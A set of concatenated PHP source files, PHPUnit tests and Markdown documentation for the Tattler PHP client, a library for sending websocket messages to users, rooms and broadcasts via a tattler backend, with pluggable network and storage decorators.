private const ROOMS_ENDPOINT = '/tattler/rooms';
private const EMIT_ENDPOINT = '/tattler/emit';
private const GUZZLE_LIBRARY = 'GuzzleHttp\Client';
private const HTTPFUL_LIBRARY = 'Httpful\Request';
private const CURL_FUNCTION = 'curl_init';
private const PREDIS_LIBRARY = 'Predis\Client';
/** @var TattlerConfig $config */
private $config;
/**
* @autoload
* @var \Tattler\Base\DAL\ITattlerAccessDAO $accessDAO
*/
private $accessDAO;
/** @var array $targetChannels */
private $targetChannels = [];
/** @var IUser $currentUser */
private $currentUser;
/** @var array $message */
private $message;
private function getApiAddress(): string
{
return $this->config->ApiAddress;
}
private function syncChannels(array $channels): array
{
$userToken = $this->currentUser->getName();
$socketId = $this->currentUser->getSocketId();
$tattlerBag = [
'tattlerUri' => $this->getApiAddress() . self::ROOMS_ENDPOINT,
'payload' => [
'client' => ['socketId' => $socketId, 'sessionId' => $userToken],
'secret' => $this->config->Secret,
'rooms' => implode(',', $channels),
'root' => $this->config->Namespace
]
];
return $this->config->NetworkDecorator->syncChannels($tattlerBag) ?? [];
}
private function reset(): void
{
$this->targetChannels = [];
$this->message = null;
return;
}
private function setDefaultNetworkDecorator(): void
{
if (class_exists(self::GUZZLE_LIBRARY))
{
$this->config->NetworkDecorator = new GuzzleDecorator();
}
else if (class_exists(self::HTTPFUL_LIBRARY))
{
$this->config->NetworkDecorator = new HttpfulDecorator();
}
else if (function_exists(self::CURL_FUNCTION))
{
$this->config->NetworkDecorator = new CurlDecorator();
}
else
{
throw new \Exception('Failed to set default Network decorator');
}
}
private function setDefaultDBDecorator(): void
{
if (!class_exists(self::PREDIS_LIBRARY))
{
throw new \Exception('Failed to set default DB decorator');
}
$this->config->DBDecorator = new RedisDecorator();
}
private function afterSetConfig(): void
{
if (!$this->config->DBDecorator)
$this->setDefaultDBDecorator();
if (!$this->config->NetworkDecorator)
$this->setDefaultNetworkDecorator();
$this->accessDAO->setDBDecorator($this->config->DBDecorator);
}
private function getAccessObject($roomName, $userToken)
{
$access = new TattlerAccess();
$access->Channel = $roomName;
$access->UserToken = $userToken;
return $access;
}
public function setConfig(TattlerConfig $config): ITattlerModule
{
$this->config = $config;
$this->afterSetConfig();
return $this;
}
public function setConfigValue(string $key, $value): bool
{
if (!isset($this->config->{$key}))
{
return false;
}
$this->config->{$key} = $value;
return true;
}
public function getWsAddress(): string
{
return $this->config->WsAddress;
}
public function getJWTToken(): string
{
$secret = $this->config->Secret;
$ttl = (int)$this->config->TokenTTL;
return JWT::encode(
[
'r' => mt_rand(),
'exp' => strtotime('now') + $ttl
],
$secret
);
}
public function getSavedChannels(IUser $user, bool $unlock = true): array
{
return $this->accessDAO->loadAllChannels($user->getName(), $unlock);
}
public function getDefaultChannels(IUser $user): array
{
return [
$user->getName(),
Broadcast::BROADCAST_NAME
];
}
public function getChannels(?array $filter = []): array
{
$result = $this->syncChannels(array_unique(array_merge(
$this->accessDAO->loadAllChannelNames($this->currentUser->getName()),
$this->getDefaultChannels($this->currentUser)
)));
if ($filter)
{
return array_unique(array_values(array_intersect($result, $filter)));
}
return $result;
}
public function setUser(IUser $user): ITattlerModule
{
$this->currentUser = $user;
return $this;
}
public function allowAccess(IRoom $room, ?IUser $user = null): bool
{
if (!$user)
$user = $this->currentUser;
return $this->accessDAO->allow($this->getAccessObject($room->getName(), $user->getName()));
}
public function denyAccess(IRoom $room, ?IUser $user = null): bool
{
if (!$user)
$user = $this->currentUser;
return $this->accessDAO->deny($this->getAccessObject($room->getName(), $user->getName()));
}
public function isAllowed(IRoom $room, ?IUser $user = null): bool
{
if (!$user)
$user = $this->currentUser;
return $this->accessDAO->exists($this->getAccessObject($room->getName(), $user->getName()));
}
public function broadcast(): ITattlerModule
{
$this->targetChannels[] = Broadcast::BROADCAST_NAME;
return $this;
}
public function room(IChannel $room): ITattlerModule
{
$this->targetChannels[] = $room->getName();
return $this;
}
public function user(IUser $user): ITattlerModule
{
$this->targetChannels[] = $user->getName();
return $this;
}
public function message(ITattlerMessage $message): ITattlerModule
{
$this->message = $message->toArray();
return $this;
}
public function say(): bool
{
$targetChannels = $this->targetChannels;
$bag = $this->message;
$bag['id'] = uniqid();
$this->reset();
$result = true;
foreach ($targetChannels as $channel)
{
$bag['room'] = $channel;
$tattlerBag = [
'tattlerUri' => $this->getApiAddress() . self::EMIT_ENDPOINT,
'timeout' => $this->config->Timeout,
'payload' => [
'root' => $this->config->Namespace,
'secret' => $this->config->Secret,
'room' => $channel,
'bag' => $bag
],
];
$result = $this->config->NetworkDecorator->sendPayload($tattlerBag) & $result;
}
return (bool)$result;
}
}<file_sep># Tattler php
First create TattlerConfig instance
```php
$config = new TattlerConfig();
$tattlerConfig->fromArray([
'WsAddress' => 'TATTLER_WEBSOCKET_ADDRESS',
'ApiAddress' => 'TATTLER_API_ADDRESS',
'Namespace' => 'YOUR APPLICATION_NAME',
'Secret' => 'TATTLER_SECRET',
'TokenTTL' => 'USER_TOKEN_TTL',
'DBDecorator' => $dbDecorator, // optional
'NetworkDecorator' => $networkDecorator // optional
]);
/** @var ITattlerModule::class $tattler */
$tattler = Tattler::getInstance($tattlerConfig);
```
```
* TATTLER_WEBSOCKET_ADDRESS - websocket transport address e.g. ws://websocket.domain.tld:80 or wss://websocket.domain.tld:443
* TATTLER_API_ADDRESS - api address e.g. http://websocket.domain.tld:80 or https://websocket.domain.tld:443
* YOUR APPLICATION_NAME - namespace for your application. You can use same tattler server with multiple applications.
* TATTLER_SECRET - same secret that was defined in tattler-server configuration
* USER_TOKEN_TTL - time in seconds for users auth tokens used with tattler-server
```
Then create php file available from your website.
By default Tattler will try to work with route `/_tattler` (i.e. `/_tattler/ws`, `/_tattler/auth`, etc.).
You can change this in js configuration (see [Initializing tattler.js](js.md))
_note: See example in [DummyControllerExample](https://github.com/Oktopost/Tattler-php/blob/master/controller/DummyControllerExample.php)_<file_sep><?php
namespace Tattler\Base\Objects;
interface ITattlerMessage
{
public const DEFAULT_NAMESPACE = 'global';
public function setHandler(string $handler): ITattlerMessage;
public function setNamespace(?string $namespace = null): ITattlerMessage;
public function setPayload(array $payload): ITattlerMessage;
public function toArray(array $filter = [], array $exclude = []): array;
}<file_sep><?php
namespace Tests\Tattler\Decorators\DB;
use Tattler\Objects\TattlerAccess;
use Tattler\Base\Decorators\IDBDecorator;
class DummyDecorator implements IDBDecorator
{
private static $accessStorage = [];
public function insertAccess(TattlerAccess $access, int $ttl): bool
{
self::$accessStorage[] = $access;
return true;
}
public function updateAccessTTL(TattlerAccess $access, int $newTTL): bool
{
return true;
}
public function accessExists(TattlerAccess $access): bool
{
/** @var TattlerAccess $item */
foreach (self::$accessStorage as $item)
{
if ($item->Channel == $access->Channel && $item->UserToken == $access->UserToken)
{
return true;
}
}
return false;
}
public function deleteAccess(TattlerAccess $access): bool
{
/** @var TattlerAccess $item */
foreach (self::$accessStorage as $key => $item)
{
if ($item->Channel == $access->Channel && $item->UserToken == $access->UserToken)
{
unset(self::$accessStorage[$key]);
return true;
}
}
return false;
}
public function loadAllChannels(string $userToken, bool $unlock = true): array
{
$result = [];
/** @var TattlerAccess $item */
foreach (self::$accessStorage as $item)
{
if ($item->UserToken == $userToken)
{
$result[] = $item;
}
}
return $result;
}
public function lock(TattlerAccess $access): bool
{
/** @var TattlerAccess $item */
foreach(self::$accessStorage as $item)
{
if ($item->Channel == $access->Channel && $item->UserToken == $access->UserToken)
{
$item->IsLocked = true;
return true;
}
}
return false;
}
public function unlock(TattlerAccess $access): bool
{
/** @var TattlerAccess $item */
foreach(self::$accessStorage as $item)
{
if ($item->Channel == $access->Channel && $item->UserToken == $access->UserToken)
{
$item->IsLocked = false;
return true;
}
}
return false;
}
public function removeGarbage(int $maxTTL): bool
{
return true;
}
}<file_sep># Tattler.js
First you need to include [tattler.min.js](https://github.com/Oktopost/Tattler-js/blob/master/dist/tattler.min.js) to your html.
Then you need to create `settings` object. By default tattler will use settings below
```javascript
var settings = {
ws: undefined, // you can set address of tattler-backend here, then urls.ws will not be used
auth: undefined, // you can set auth token here, then urls.auth will not be used
urls: {
ws: '/_tattler/ws', // where php will tell address of tattler-backend
auth: '/_tattler/auth', // where php will tell auth token
channels: '/_tattler/channels' // where php will tell which channels are allowed
},
requests: {
ws: 'get', // get or post
channels: 'get', // get or post
auth: 'get' // get or post
},
readyCallback: false, // will be called each time user is connected or reconnected to socket
readyCallbackOnce: false, // will be called after first time user is connected to socket
autoConnect: true, // automatically init plugin
debug: false // show messages in console
}
```
Then you can initialize tattler instance from tattlerFactory
```javascript
window.tattler = TattlerFactory.create(settings);
```
To add connection to room use code below
```javascript
window.tattler.addChannel('roomName');
```
To remove connection to room use code below
```javascript
window.tattler.removeChannel('roomName');
```
<file_sep><?php
namespace Tattler\Decorators\Network;
use Tattler\Base\Decorators\INetworkDecorator;
use Tattler\Exceptions\TattlerNetworkException;
/**
* Class CurlDecorator
*/
class CurlDecorator implements INetworkDecorator
{
private function getCurl(string $endpoint, string $payload, ?int $timeout = 5)
{
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($payload)]
);
$query = curl_exec($ch);
curl_close($ch);
return $query;
}
public function sendPayload(array $tattlerBag): bool
{
$query = $this->getCurl($tattlerBag['tattlerUri'], json_encode($tattlerBag['payload']), $tattlerBag['timeout']);
try
{
return (json_decode($query)->status ?? 0) == 200;
}
catch (\Throwable $e)
{
throw new TattlerNetworkException($query);
}
}
public function syncChannels(array $tattlerBag): ?array
{
$query = $this->getCurl($tattlerBag['tattlerUri'], json_encode($tattlerBag['payload']));
try
{
return (json_decode($query)->rooms ?? []);
}
catch (\Throwable $e)
{
throw new TattlerNetworkException($query);
}
}
}<file_sep><?php
namespace Tattler\Objects;
use Tattler\Base\Decorators\IDBDecorator;
use Tattler\Base\Decorators\INetworkDecorator;
use Objection\LiteSetup;
use Objection\LiteObject;
/**
* @property string $WsAddress
* @property string $ApiAddress
* @property string $Namespace
* @property string $Secret
* @property int $TokenTTL
* @property int $Timeout
* @property IDBDecorator $DBDecorator
* @property INetworkDecorator $NetworkDecorator
*/
class TattlerConfig extends LiteObject
{
/**
* @return array
*/
protected function _setup()
{
return [
'WsAddress' => LiteSetup::createString(),
'ApiAddress' => LiteSetup::createString(),
'Namespace' => LiteSetup::createString(),
'Secret' => LiteSetup::createString(),
'TokenTTL' => LiteSetup::createInt(60),
'Timeout' => LiteSetup::createInt(5),
'DBDecorator' => LiteSetup::createInstanceOf(IDBDecorator::class),
'NetworkDecorator' => LiteSetup::createInstanceOf(INetworkDecorator::class)
];
}
}<file_sep># Tattler message
For creating message instance use code below:
```php
$handler='consoleEcho';
$namespace='secretNamespace';
$payload=['anything', 'you' => ['want'], ['to' => 'send']];
/** var ITattlerMessage::class $message */
$message = new TattlerMessage();
$message->setHandler($handler)->setNamespace($namespace)->setPayload($payload);
```
`$handler` and `$namespace` will allow javascript code to understand how to process your payload.
E.g.:
```javascript
window.tattler.addHandler('consoleEcho', 'secretNamespace', function(data) {
console.log(data);
});
```
You can have same handler defined within multiple namespaces, that will allow you to treat same payload differently.
By default tattler.js contains several predefined handlers:
* 'console.log' for echoing payloads to browser's console
* 'alert' for passing payload.title and payload.message to `alert` function
* 'confirm' for passing payload.message,payload.yes and payload.no to `confirm` function. 'payload.yes' and 'payload.no'
must contain names of javascript functions defined in current scope.
* 'addChannel' for notifying user about adding him to new room 'payload.channel'. User will try to join that room then.
* 'removeChannel' for notifying user about removing him from room 'payload.channel'. User will not process messages
for that room. <file_sep><?php
namespace Tattler\Decorators\Network;
use Tattler\Base\Decorators\INetworkDecorator;
use Tattler\Exceptions\TattlerNetworkException;
use Zend_Http_Client;
class ZF1HttpClientDecorator implements INetworkDecorator
{
/** @var Zend_Http_Client */
private $client;
public function __construct()
{
$this->client = new Zend_Http_Client();
}
public function sendPayload(array $tattlerBag): bool
{
$this->client
->setUri($tattlerBag['tattlerUri'])
->setMethod(\Zend_Http_Client::POST)
->setHeaders($this->getHeaders())
->setRawData(json_encode($tattlerBag['payload']));
try
{
$this->client->request();
}
catch (\Exception $e)
{
throw new TattlerNetworkException('Failed to send payload');
}
$body = $this->client->getLastResponse()->getBody();
if ($this->client->getLastResponse()->getStatus() == 200) {
$body = json_decode($body, true);
if (isset($body['status']) && $body['status'] == 200) {
return true;
}
else
{
throw new TattlerNetworkException($body);
}
}
throw new TattlerNetworkException($body);
}
private function getHeaders()
{
return [
'Content-Type: application/json'
];
}
public function syncChannels(array $tattlerBag): ?array
{
$this->client
->setUri($tattlerBag['tattlerUri'])
->setMethod(\Zend_Http_Client::POST)
->setHeaders($this->getHeaders())
->setRawData(json_encode($tattlerBag['payload']));
try
{
$this->client->request();
}
catch (\Exception $e)
{
throw new TattlerNetworkException('Failed to sync channels');
}
if ($this->client->getLastResponse()->getStatus() != 200)
{
throw new TattlerNetworkException($this->client->getLastResponse()->getBody());
}
$body = json_decode($this->client->getLastResponse()->getBody(), true);
return isset($body['rooms']) ? $body['rooms'] : false;
}
}<file_sep><?php
namespace Tattler\Base\Channels;
interface IChannel
{
/**
* @return static
*/
public function setName(...$channelNameArgs);
public function getName(): string;
}<file_sep><?php
namespace Tattler\Channels;
use Tattler\Base\Channels\IRoom;
class Room implements IRoom
{
private $name;
/**
* @return static
*/
public function setName(...$channelNameArgs)
{
$this->name = implode(':', $channelNameArgs);
return $this;
}
public function getName(): string
{
if (!$this->name)
{
throw new \Exception('Room without name');
}
return $this->name;
}
}<file_sep><?php
namespace Tests\Tattler\Channels;
use PHPUnit\Framework\TestCase;
use Tattler\Base\Channels\IRoom;
use Tattler\Base\Channels\IChannel;
use Tattler\Base\Modules\ITattlerModule;
use Tattler\Tattler;
class RoomTest extends TestCase
{
private $roomName;
/** @var IRoom $room */
private $room;
/** @var ITattlerModule */
private $tattler;
protected function setUp()
{
parent::setUp();
$this->tattler = Tattler::getInstance(getConfig());
$this->room = getDummyRoom();
$this->roomName = uniqid();
}
public function test_is_IRoom_instance()
{
self::assertInstanceOf(IRoom::class, $this->room);
self::assertInstanceOf(IChannel::class, $this->room);
}
public function test_should_return_static_on_setName()
{
self::assertInstanceOf(IRoom::class, $this->room->setName($this->roomName));
}
public function test_should_return_valid_name()
{
$this->room->setName($this->roomName);
self::assertEquals($this->roomName, $this->room->getName());
}
public function test_getName_without_name_should_throw_exception()
{
self::expectException(\Exception::class);
$this->room->getName();
}
public function test_should_allow_access_for_specified_user()
{
$this->room->setName($this->roomName);
self::assertTrue($this->tattler->allowAccess($this->room, getDummyUser()));
}
public function test_allow_twice_should_return_true()
{
$room = $this->room->setName($this->roomName);
$user = getDummyUser();
$user->setSocketId(uniqid());
$this->tattler->allowAccess($room, $user);
self::assertTrue($this->tattler->allowAccess($room, $user));
}
public function test_deny_should_return_true()
{
$user = getDummyUser();
$this->room->setName($this->roomName);
$this->tattler->allowAccess($this->room, $user);
self::assertTrue($this->tattler->denyAccess($this->room, $user));
}
public function test_is_allowed_for_unknown_user_should_return_false()
{
$this->room->setName(uniqId());
self::assertFalse($this->tattler->isAllowed($this->room, getDummyUser()));
}
public function test_for_denying_unknown_user_should_return_true()
{
$this->room->setName(uniqId());
self::assertTrue($this->tattler->denyAccess($this->room, getDummyUser()));
}
public function test_should_return_isAllowed_for_current_user()
{
$user = getDummyUser();
$this->room->setName($this->roomName);
$this->tattler->allowAccess($this->room, $user);
self::assertTrue($this->tattler->isAllowed($this->room, $user));
}
}
<file_sep><?php
namespace Tattler\Exceptions;
use Throwable;
class TattlerNetworkException extends \Exception
{
public function __construct($message = "", $code = 0, Throwable $previous = null)
{
parent::__construct('Tattler network exception: ' . $message, $code, $previous);
}
}<file_sep># Tattler php client
* Configuration
* * [Set DB decorator](configuration/db.md)
* * [Set network decorator](configuration/network.md)
* * [Initializing tattler php](configuration/php.md)
* * [Initializing tattler.js](configuration/js.md)
* Definitions
* * [User](definitions/user.md)
* * [Room](definitions/room.md)
* * [Broadcast](definitions/broadcast.md)
* * [Message](definitions/message.md)
* [Sending message](send/readme.md)<file_sep># Tattler room
Room (or channel) used to combine multiple users. It allows you to send same message to all users within the room.
```php
/** @var IRoom $user */
$room = new Room();
$room->setName('myRoomNumberOne');
```
For adding tattler user to room use code below
```php
$tattler->allowAccess($room, $user);
```
For removing tattler user from room use code below
```php
$tattler->denyAccess($room, $user);
```
Also you can check if user is allowed to receive messages in that room
```php
$tattler->isAllowed($room, $user); // returns bool
```<file_sep><?php
namespace Tattler;
use Tattler\Base\Modules\ITattlerModule;
use Tattler\Objects\TattlerConfig;
class Tattler
{
private static $configurations = [];
public static function getInstance(TattlerConfig $config, ?string $instanceName = null): ITattlerModule
{
if (!$instanceName)
{
$instanceName = uniqid();
}
if (!isset(self::$configurations[$instanceName]))
{
self::$configurations[$instanceName] = $config;
}
/** @var ITattlerModule $result */
$result = TattlerScope::skeleton(ITattlerModule::class);
$result->setConfig(self::$configurations[$instanceName]);
return $result;
}
public static function load(string $instanceName): ?ITattlerModule
{
if (!isset(self::$configurations[$instanceName]))
{
return null;
}
/** @var ITattlerModule $result */
$result = TattlerScope::skeleton(ITattlerModule::class);
$result->setConfig(self::$configurations[$instanceName]);
return $result;
}
}<file_sep><?php
namespace Tests\Tattler\Decorators\Network;
use Tattler\Base\Decorators\INetworkDecorator;
/**
* Class DummyDecorator
*/
class DummyDecorator implements INetworkDecorator
{
public function sendPayload(array $tattlerBag): bool
{
return true;
}
public function syncChannels(array $tattlerBag): ?array
{
return explode(',', $tattlerBag['payload']['rooms']);
}
}<file_sep><?php
namespace Tattler\Base\Channels;
interface IRoom extends IChannel { }<file_sep><?php
namespace Tattler\Base;
/** @var \Skeleton\Base\IBoneConstructor $this */
use Tattler\DAL\TattlerAccessDAO;
use Tattler\Modules\TattlerModule;
$this->set(DAL\ITattlerAccessDAO::class, TattlerAccessDAO::class);
$this->set(Modules\ITattlerModule::class, TattlerModule::class);
<file_sep><?php
namespace Tattler\Objects;
use Objection\LiteObject;
use Objection\LiteSetup;
use Tattler\Base\Objects\ITattlerMessage;
/**
* @property string $handler
* @property string $namespace
* @property array $payload
*/
class TattlerMessage extends LiteObject implements ITattlerMessage
{
/**
* @return array
*/
protected function _setup()
{
return [
'handler' => LiteSetup::createString(),
'namespace' => LiteSetup::createString(),
'payload' => LiteSetup::createArray(),
];
}
public function setHandler(string $handler): ITattlerMessage
{
$this->handler = $handler;
return $this;
}
public function setNamespace(?string $namespace = null): ITattlerMessage
{
$this->namespace = $namespace;
return $this;
}
public function setPayload(array $payload): ITattlerMessage
{
$this->payload = $payload;
return $this;
}
public function toArray(array $filter = [], array $exclude = []): array
{
if (!$this->namespace)
{
$this->namespace = ITattlerMessage::DEFAULT_NAMESPACE;
}
return parent::toArray($filter, $exclude);
}
}<file_sep><?php
namespace Tattler\Base\Decorators;
/**
* @skeleton
*/
interface INetworkDecorator
{
public function sendPayload(array $tattlerBag): bool;
public function syncChannels(array $tattlerBag): ?array;
}<file_sep># Network
Tattler uses network for sending socketIds and payloads to tattler-backend.
There are several types of network decorators. You can use any of them or implement your own.
Also there is no big difference between them, just use any of them that looks more appropriate to you.
_note: class should implement [INetworkDecorator interface](https://github.com/Oktopost/Tattler-php/blob/master/src/Tattler/Base/Decorators/INetworkDecorator.php)_
_note: in fact you don't really have to initialize network decorator - it will be initialized automatically if possible_
## curl
```php
new CurlDecorator();
```
## Guzzle
This decorator requires [guzzlehttp/guzzle](https://github.com/guzzle/guzzle) package to be installed.
```php
new GuzzleDecorator();
```
## Httpful
This decorator requires [nategood/httpful](https://github.com/nategood/httpful) package to be installed.
```php
new HttpfulDecorator();
```
<file_sep><?php
namespace Tattler\Base\Modules;
use Tattler\Base\Channels\IRoom;
use Tattler\Objects\TattlerConfig;
use Tattler\Base\Channels\IChannel;
use Tattler\Base\Channels\IUser;
use Tattler\Base\Objects\ITattlerMessage;
/**
* @skeleton
*/
interface ITattlerModule
{
public const WS_PROTOCOL = 'ws:';
public const WSS_PROTOCOL = 'wss:';
public const HTTP_PROTOCOL = 'http:';
public const HTTPS_PROTOCOL = 'https:';
public const DEFAULT_PORT = 80;
public const DEFAULT_SECURE_PORT = 443;
public function setConfig(TattlerConfig $config): ITattlerModule;
public function setConfigValue(string $key, $value): bool;
public function getWsAddress(): string;
public function getJWTToken(): string;
public function getSavedChannels(IUser $user, bool $unlock = true): array;
public function getDefaultChannels(IUser $user): array;
public function getChannels(?array $filter = []): array;
public function setUser(IUser $user): ITattlerModule;
public function allowAccess(IRoom $room, ?IUser $user = null): bool;
public function denyAccess(IRoom $room, ?IUser $user = null): bool;
public function isAllowed(IRoom $room, ?IUser $user = null): bool;
public function broadcast(): ITattlerModule;
public function room(IChannel $room): ITattlerModule;
public function user(IUser $user): ITattlerModule;
public function message(ITattlerMessage $message): ITattlerModule;
public function say(): bool;
}<file_sep><?php
namespace Tattler\Decorators\Network;
use Httpful\Mime;
use Httpful\Request;
use Tattler\Base\Decorators\INetworkDecorator;
use Tattler\Exceptions\TattlerNetworkException;
/**
* Class HttpfulDecorator
*/
class HttpfulDecorator implements INetworkDecorator
{
public function sendPayload(array $tattlerBag): bool
{
try
{
$result = Request::post($tattlerBag['tattlerUri'])
->timeoutIn($tattlerBag['timeout'])
->body($tattlerBag['payload'])
->sendsAndExpectsType(Mime::JSON)
->send();
}
catch (\Exception $e)
{
throw new TattlerNetworkException('Failed to send payload');
}
if ($result->hasErrors())
{
throw new TattlerNetworkException($result->raw_body);
}
return true;
}
public function syncChannels(array $tattlerBag): ?array
{
try {
$result = Request::post($tattlerBag['tattlerUri'])
->body($tattlerBag['payload'])
->sendsAndExpectsType(Mime::JSON)
->send();
}
catch (\Exception $e)
{
throw new TattlerNetworkException('Failed to sync channels');
}
if ($result->hasErrors())
{
throw new TattlerNetworkException($result->raw_body);
}
return $result->body->rooms;
}
}<file_sep><?php
namespace Tattler\Channels;
use Tattler\Base\Channels\IUser;
use Ramsey\Uuid\Uuid;
class User implements IUser
{
/** @var string $name */
private $name;
/** @var \Closure $nameConverter */
private $nameConverter;
/** @var string $socketId */
private $socketId;
/**
* @return \Closure
*/
private function setDefaultConverter()
{
return function (...$data) {
$uuid = Uuid::uuid5(Uuid::NAMESPACE_X500, serialize($data));
return $uuid->toString();
};
}
/**
* User constructor.
*/
public function __construct()
{
$this->nameConverter = $this->setDefaultConverter();
}
public function setNameConverter(\Closure $callback): IUser
{
$this->nameConverter = $callback;
return $this;
}
/**
* @return static
*/
public function setName(...$channelNameArgs)
{
$this->name = call_user_func_array($this->nameConverter, $channelNameArgs);
return $this;
}
public function getName(): string
{
if (!$this->name && $this->socketId)
{
$this->setName($this->socketId);
}
if (!$this->name)
{
throw new \Exception('User without name');
}
return $this->name;
}
public function setSocketId($socketId): IUser
{
$this->socketId = $socketId;
return $this;
}
public function getSocketId(): string
{
if (!$this->socketId)
{
throw new \Exception('SocketId for this user is not defined');
}
return $this->socketId;
}
}<file_sep><?php
namespace Tattler\Base\Channels;
interface IUser extends IChannel
{
public function setNameConverter(\Closure $callback): IUser;
public function setSocketId($socketId): IUser;
public function getSocketId(): string;
}<file_sep><?php
use Tattler\Channels\Room;
use Tattler\Channels\User;
use Tattler\Base\Channels\IRoom;
use Tattler\Base\Channels\IUser;
use Tattler\Objects\TattlerConfig;
require_once __DIR__ . '/../vendor/autoload.php';
function getConfig(): TattlerConfig
{
$result = new TattlerConfig();
$result->Namespace = 'Test';
$result->WsAddress = 'ws://localhost.domain.tld';
$result->ApiAddress = 'http://localhost.domain.tld';
$result->Secret = uniqid();
$result->DBDecorator = new \Tests\Tattler\Decorators\DB\DummyDecorator();
$result->NetworkDecorator = new Tests\Tattler\Decorators\Network\DummyDecorator();
return $result;
}
/**
* @return IUser
*/
function getDummyUser()
{
/** @var IUser $user */
$user = new User();
$user->setName(uniqId(), uniqId(), uniqId());
return $user;
}
/**
* @return IRoom
*/
function getDummyRoom()
{
/** @var IRoom $result */
$result = new Room();
return $result;
}<file_sep><?php
namespace Tattler;
use Skeleton\Skeleton;
use Skeleton\ConfigLoader\DirectoryConfigLoader;
class TattlerScope
{
/** @var Skeleton */
private static $skeleton = null;
private static function configureSkeleton()
{
self::$skeleton = new Skeleton();
self::$skeleton
->enableKnot()
->registerGlobalFor(__NAMESPACE__)
->setConfigLoader(
new DirectoryConfigLoader(realpath(__DIR__ . '/../../skeleton'))
);
}
/**
* @param string|null $interface
* @return mixed|Skeleton
*/
public static function skeleton(?string $interface = null)
{
if (!self::$skeleton)
{
self::configureSkeleton();
}
if ($interface)
{
return self::$skeleton->get($interface);
}
return self::$skeleton;
}
}<file_sep><?php
namespace Tattler\Base\Decorators;
use Tattler\Objects\TattlerAccess;
/**
* @skeleton
*/
interface IDBDecorator
{
public function insertAccess(TattlerAccess $access, int $ttl): bool;
public function updateAccessTTL(TattlerAccess $access, int $newTTL): bool;
public function accessExists(TattlerAccess $access): bool;
public function deleteAccess(TattlerAccess $access): bool;
public function loadAllChannels(string $userToken, bool $unlock = true): array;
public function lock(TattlerAccess $access): bool;
public function unlock(TattlerAccess $access): bool;
public function removeGarbage(int $maxTTL): bool;
}<file_sep># Database
Tattler storage used for storing users and rooms and synchronization with tattler backend.
There are several types of storage, you can use any of them or implement your own.
_note: class should implement [IDBDecorator interface](https://github.com/Oktopost/Tattler-php/blob/master/src/Tattler/Base/Decorators/IDBDecorator.php)_
_note: If DB decorator is not configured, `Redis` decorator [will be used automatically](https://github.com/Oktopost/Tattler-php/blob/master/src/Tattler/Decorators/DB/RedisDecorator.php)_
_note: existing decorators may contain undocumented features. They will be added to documentation later.
Or they will be removed from code. Who knows._
## Redis
This is the most simple way to store tattler-stuff. Install [Predis library](https://github.com/nrk/predis) and
start using decorator.
```php
$host = 'localhost';
$port = 6379;
$prefix = 'php-tattler';
new RedisDecorator($host, $port, $prefix);
```
## Squid
SquidDecorator used for storing data in mysql database. Install [Squid library](https://github.com/Oktopost/Squid) and
pass ObjectConnector and your tableName to decorator.
```php
new SquidDecorator($objectConector, $tableName);
```
_note: Use [mysql.sql](https://github.com/Oktopost/Tattler-php/blob/master/db/mysql.sql) for creating table._
## Squanch
SquanchDecorator used for storing data in cache layer. That layer could be anywhere - redis, squid, etc. Install
[Squanch library](https://github.com/Oktopost/Squanch) and pass CachePlugin and bucket name to decorator.
```php
new SquanchDecorator($cachePlugin, 'php-tattler');
```<file_sep><?php
use Tattler\Tattler;
use Tattler\Base\Channels\IRoom;
use Tattler\Base\Channels\IUser;
use Tattler\Base\Modules\ITattlerModule;
use Tattler\Objects\TattlerConfig;
use Tattler\Channels\Room;
use Tattler\Channels\User;
/**
* Class DummyControllerExample
*/
class DummyControllerExample
{
/** @var ITattlerModule $tattler */
private $tattler;
private function addUserToPrivateRoom(IUser $user): void
{
/** @var IRoom $newRoom */
$newRoom = new Room();
$newRoom->setName('privateRoom');
$this->tattler->allowAccess($newRoom, $user);
}
public function __construct()
{
$config = new TattlerConfig();
$this->tattler = Tattler::getInstance($config);
}
/**
* @return array
*/
public function getWs()
{
return ['ws' => $this->tattler->getWsAddress()];
}
public function getAuth()
{
return ['token' => $this->tattler->getJWTToken()];
}
/**
* @param string $socketId
* @param null|array $channels
* @return array
*/
public function getChannels($socketId, $channels = null)
{
/** @var IUser $user */
$user = new User();
$user
->setName('current', 'user', 'name', 'with', 'any', 'args')
->setSocketId($socketId);
$this->tattler->setUser($user);
$this->addUserToPrivateRoom($user);
return ['channels' => $this->tattler->getChannels($channels)];
}
}<file_sep># Send message
First prepare tattler instance for sending message
```php
$prepared = $tattler->message($message);
```
## send to single user
```php
$prepared->user($user)->say();
```
## send to two users
```php
$prepared->user($user1)->user($user2)->say();
```
## send to room
```php
$prepared->room($room)->say();
```
## send to multiple rooms
```php
$prepared->room($room1)->room($room2)->say();
```
## send to everyone
```php
$prepared->broadcast()->say();
```
Also you can do it in one line
```php
$tattler->message($message)->room($room)->say();
```
After calling `say()` method all targets (users and rooms) and message will be removed from `$tattler`,
so you can use same instance for sending another message somewhere.<file_sep><?php
namespace Tests\Tattler\Channels;
use PHPUnit\Framework\TestCase;
use Tattler\Channels\Broadcast;
use Tattler\Base\Channels\IChannel;
class BroadcastTest extends TestCase
{
/** @var IChannel $room */
private $room;
protected function setUp()
{
parent::setUp();
$this->room = new Broadcast();
}
public function test_is_IChannel_instance()
{
self::assertInstanceOf(Broadcast::class, $this->room);
self::assertInstanceOf(IChannel::class, $this->room);
}
public function test_should_return_static_on_setName()
{
self::assertInstanceOf(IChannel::class, $this->room->setName(uniqId()));
}
public function test_should_have_broadcast_name()
{
self::assertTrue($this->room->getName() === Broadcast::BROADCAST_NAME);
}
public function test_should_not_change_name()
{
$this->room->setName(uniqid());
self::assertSame(Broadcast::BROADCAST_NAME, $this->room->getName());
}
}
<file_sep><?php namespace Tests\Tattler\Channels;
use PHPUnit\Framework\TestCase;
use Tattler\Base\Channels\IUser;
use Tattler\Base\Channels\IChannel;
use Tattler\Channels\User;
class UserTest extends TestCase
{
/** @var IUser $user */
private $user;
private $userName;
private function setDummyNameConverter()
{
$converter = function(...$data){
return implode(':', $data);
};
$this->user->setNameConverter($converter);
}
protected function setUp()
{
parent::setUp();
$this->userName = '<NAME>';
$this->user = getDummyUser();
$this->setDummyNameConverter();
$this->user->setName($this->userName);
}
public function test_is_IUser_instance()
{
self::assertInstanceOf(IUser::class, $this->user);
